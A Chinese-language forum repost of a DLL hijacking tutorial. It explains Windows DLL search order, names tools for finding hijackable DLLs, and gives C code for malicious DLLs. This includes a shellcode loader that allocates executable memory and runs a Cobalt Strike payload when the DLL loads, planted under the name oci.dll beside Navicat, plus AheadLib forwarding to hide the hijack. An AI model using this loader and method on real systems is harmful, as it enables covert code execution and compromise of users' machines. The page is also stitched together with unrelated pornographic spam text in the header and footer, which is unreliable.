在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

DLL簡介

哆啦安全 ? 來源:哆啦安全 ? 2023-05-22 15:51 ? 次閱讀

DLL 劫持

DLL 簡介

在 Windows 中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即 DLL 文件,放置于系統中。當我們執行某一個程序時,相應的 DLL 文件就會被調用。一個應用程序可使用多個 DLL 文件,一個 DLL 文件也可能被不同的應用程序使用,這樣的 DLL 文件被稱為共享 DLL 文件。

DLL 加載順序

如果程序需要加載一個相對路徑的 dll 文件,它將從當前目錄下嘗試查找,如果找不到,則按照如下順序尋找:

windows xp sp2 之前

Windows 查找 DLL 的目錄以及對應的順序:

進程對應的應用程序所在目錄;

當前目錄(Current Directory);

系統目錄(通過 GetSystemDirectory 獲取);

16 位系統目錄;

Windows 目錄(通過 GetWindowsDirectory 獲取);

PATH 環境變量中的各個目錄;

windows xp sp2 之后

Windows 查找 DLL 的目錄以及對應的順序(SafeDllSearchMode 默認會被開啟):

默認注冊表為:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其鍵值為 1

進程對應的應用程序所在目錄(可理解為程序安裝目錄比如 C:ProgramFilesuTorrent)

系統目錄(即 % windir% system32);

16 位系統目錄(即 % windir% system);

Windows 目錄(即 % windir%);

當前目錄(運行的某個文件所在目錄,比如 C:Documents and SettingsAdministratorDesktop est);

PATH 環境變量中的各個目錄;

windows 7 以上版本

從 Windows7 之后,微軟為了更進一步的防御系統的 DLL 被劫持,將一些容易被劫持的系統 DLL 寫進了一個注冊表項中,該項下的 DLL 文件就會被禁止從 EXE 自身所在的目錄下調用,而只能從系統目錄 SYSTEM32 目錄下調用,其注冊表位置:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

1fec4ade-f6a8-11ed-90ce-dac502259ad0.png

自動化挖掘

批量尋找劫持

https://github.com/wietze/windows-dll-hijacking

PLAINTEXT

1
python generate_pmc_files.py

20375ff6-f6a8-11ed-90ce-dac502259ad0.png

單個查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

編譯完成后,把 Prerequisites 文件夾里的內容拷貝至 ImpulsiveDLLHijack 項目里

20997a4c-f6a8-11ed-90ce-dac502259ad0.png

PLAINTEXT

1
ImpulsiveDLLHijack.exe -path xxx.exe

20d27b12-f6a8-11ed-90ce-dac502259ad0.png

這里使用navicat進行測試,可見運行的時候會加載C:UsersdyyAppDataLocalProgramsPythonPython38Scriptsoci.dll

211639ce-f6a8-11ed-90ce-dac502259ad0.png

使用 cs 生成惡意 dll,重命名為oci.dll后放置到該目錄下

216571c4-f6a8-11ed-90ce-dac502259ad0.png

2195cc52-f6a8-11ed-90ce-dac502259ad0.png

手動挖掘

Process Monitor 查找可用 dll,設置如下圖所示

21b2ab4c-f6a8-11ed-90ce-dac502259ad0.png

配置完可以保存導出配置,下次直接導入使用

21dc8db8-f6a8-11ed-90ce-dac502259ad0.png

使用GoogleUpdate.exe進行測試,運行程序 filter 加載所使用的 dll 文件

220e551e-f6a8-11ed-90ce-dac502259ad0.png

這里可以看出來,當GoogleUpdate.exe程序運行的時候,會調用當前目錄下的goopdate.dll文件

編寫一個基礎的彈窗 dll

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include 
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加載到內存時運行
    case DLL_PROCESS_DETACH://DLL銷毀時運行
    case DLL_THREAD_ATTACH://DLL線程加載時運行
    case DLL_THREAD_DETACH://DLL線程銷毀時運行
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}

2239d086-f6a8-11ed-90ce-dac502259ad0.png

彈計算器

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

2260496e-f6a8-11ed-90ce-dac502259ad0.png

CS 上線

cs 生成 c 的 payload

22b3825a-f6a8-11ed-90ce-dac502259ad0.png

22d9e846-f6a8-11ed-90ce-dac502259ad0.png

生成的payload填入到下面相應的位置上

CPP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 頭文件
#include "pch.h"
#include 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函數
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}

2329b3d0-f6a8-11ed-90ce-dac502259ad0.png

運行navicat程序就會上線

2354d240-f6a8-11ed-90ce-dac502259ad0.png

DLL 轉發劫持

有時候當我們替換 dll 后,雖然可以執行命令,但是會產生報錯

239cd3ce-f6a8-11ed-90ce-dac502259ad0.png

這時候我們可以使用AheadLib工具,使惡意的 DLL 將原有的函數轉發到原 DLL 中并且釋放惡意代碼

打開工具導入 dll 文件,會生成相應的 cpp 文件

直接轉發函數,我們只能控制 DllMain 即調用原 DLL 時觸發的行為可控
即時調用函數,可以在處理加載 DLL 時,調用具體函數的時候行為可控,高度自定義觸發點,也稱用來 hook 某些函數,獲取到參數值

23d2f0bc-f6a8-11ed-90ce-dac502259ad0.png

23fc5baa-f6a8-11ed-90ce-dac502259ad0.png

241c0c66-f6a8-11ed-90ce-dac502259ad0.png

審核編輯:彭靜
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • dll
    dll
    +關注

    關注

    0

    文章

    116

    瀏覽量

    46099
  • WINDOWS
    +關注

    關注

    4

    文章

    3608

    瀏覽量

    91028
  • 應用程序
    +關注

    關注

    38

    文章

    3322

    瀏覽量

    58785

原文標題:DLL 劫持

文章出處:【微信號:哆啦安全,微信公眾號:哆啦安全】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦
    熱點推薦

    winspool dll下載

    winspool dll
    發表于 08-31 15:54 ?12次下載
    winspool <b class='flag-5'>dll</b>下載

    comres.dll下載 (comres.dll文件病毒)

    描述:comres.dll是系統的動態鏈接庫文件。   文件路徑: C:WINDOWSsystem32comres.dll   備份文件路徑: C:WINDOWSsystem32dllcachecomres.dll   Vist
    發表于 11-28 14:12 ?113次下載
    comres.<b class='flag-5'>dll</b>下載 (comres.<b class='flag-5'>dll</b>文件病毒)

    dinput8.dll下載 (dinput8.dll文件修復)

     dinput8.dll文件丟失了怎么辦,下載一個然后到到:C:WINDOWSsystem32 目錄下就可以了。 dinput8 - dinput8.dll - DLL文件信息   
    發表于 11-28 14:17 ?805次下載
    dinput8.<b class='flag-5'>dll</b>下載 (dinput8.<b class='flag-5'>dll</b>文件修復)

    usp10.dll下載 (usp10.dll文件)

      usp10.dll是什么?usp10.dll是字符顯示腳本應用程序接口相關文件。如果出現"沒有找到usp10.dll"文件或者"找不到usp10.dll "的問題,就下載usp10
    發表于 11-28 15:04 ?238次下載
    usp10.<b class='flag-5'>dll</b>下載 (usp10.<b class='flag-5'>dll</b>文件)

    如何編寫dll文件

    如何編寫dll文件:可以用幾種語言來實現,如delphi編寫dll,pb編寫dll文件,java 編寫dll,vc 編寫dll,mfc
    發表于 01-16 10:20 ?8990次閱讀

    imm32.dll是什么

    imm32.dll是什么 :imm32 - imm32.dll - DLL文件信息   DLL 文件: imm32 或者 imm32.dll
    發表于 11-28 14:05 ?2579次閱讀

    comres.dll是什么,comres.dll怎么修復

    comres.dll是什么 comres.dll是系統的動態鏈接庫文件。   文件路徑: C:WINDOWSsystem32comres.dll   備份文件路徑: C:WINDOWSsystem32dllcachecomre
    發表于 11-28 14:13 ?1667次閱讀

    dinput8.dll是什么

    dinput8.dll是什么 dinput8 - dinput8.dll - DLL文件信息   DLL 文件: dinput8 或者 dinput8.
    發表于 11-28 14:17 ?5037次閱讀

    msvcirt.dll是什么

    msvcirt.dll是什么 msvcirt.dll是微軟C語言程序運行庫相關文件,用于例如打印。  屬于: Windows   系統 DLL文件: 否  常見
    發表于 11-28 15:12 ?1761次閱讀
    msvcirt.<b class='flag-5'>dll</b>是什么

    mfc71.dll是什么

    mfc71.dll是什么 mfc71.dll是Microsoft基礎類( MFC )在創建Microsoft Visual Studio所使用的應用功能模塊,此mfc71.dll并非病毒文件  進程位
    發表于 11-28 15:17 ?2382次閱讀
    mfc71.<b class='flag-5'>dll</b>是什么

    DLL在_FPGA時鐘設計中的應用

    DLL在_FPGA時鐘設計中的應用,主要說明DLL的原理,在Xilinx FPGA中是怎么實現的。
    發表于 10-28 14:25 ?1次下載

    LabVIEW創建DLL

    1、LabVIEW也可以創建DLL 2、調用規范說明:C調用規范時,調用方負責清空堆棧。使用標準調用規范時,被調用函數負責清空堆棧。 所以要確認您選擇了和DLL相同的調用規范 3、調用庫函數
    發表于 12-04 10:52 ?0次下載

    labview軟定時dll文件下載

    labview軟定時dll文件
    發表于 01-22 13:46 ?7次下載

    Lbview調用dll

    Lbview 調用dll資料分享。
    發表于 05-16 15:57 ?14次下載

    Windows操作系統中DLL簡介

    本文章是蛇矛實驗室基于"火天網測網絡安全測試平臺"進行編寫及驗證,通過火天網測中的病毒測試模塊,可以對文件進行詳盡的評估, 從而對文件是否存在惡意行為進行判斷。
    的頭像 發表于 10-20 09:52 ?3096次閱讀
    主站蜘蛛池模板: 香港澳门a级三级三级全黄 香港经典a毛片免费观看爽爽影院 | 全国男人天堂网 | 最近2018中文字幕免费看手机 | 日韩黄网| 中文天堂最新版在线精品 | 午夜黄 | 69堂在线观看国产成人 | 亚洲爱爱视频 | 大蕉久久伊人中文字幕 | 免费看你懂的 | 亚欧免费视频一区二区三区 | 五月婷婷六月爱 | 三级理论在线观看 | 一级黄色片在线看 | 巨尻在线观看 | 9久久9久久精品 | 国产精品三级在线观看 | 视频亚洲一区 | 在线高清一级欧美精品 | 日本黄色免费 | 狠狠色欧美亚洲狠狠色www | 91在线国内在线播放大神 | 国产精欧美一区二区三区 | 色老头久久久久久久久久 | 天天干天天舔 | 最新国产精品视频免费看 | 国产三级在线视频观看 | 天天成人综合网 | 午夜精品久久久久蜜桃 | 婷婷六月激情 | 五月天停婷基地 | 亚洲免费视频播放 | 欧美97色 | 伊人网站在线观看 | aaaaaa精品视频在线观看 | 男男生子大肚play做到生 | 五月婷婷视频在线观看 | 四虎精品影院永久在线播放 | 2022国产情侣真实露脸在线 | 特级全黄一级毛片免费 | 国产精品天天在线 |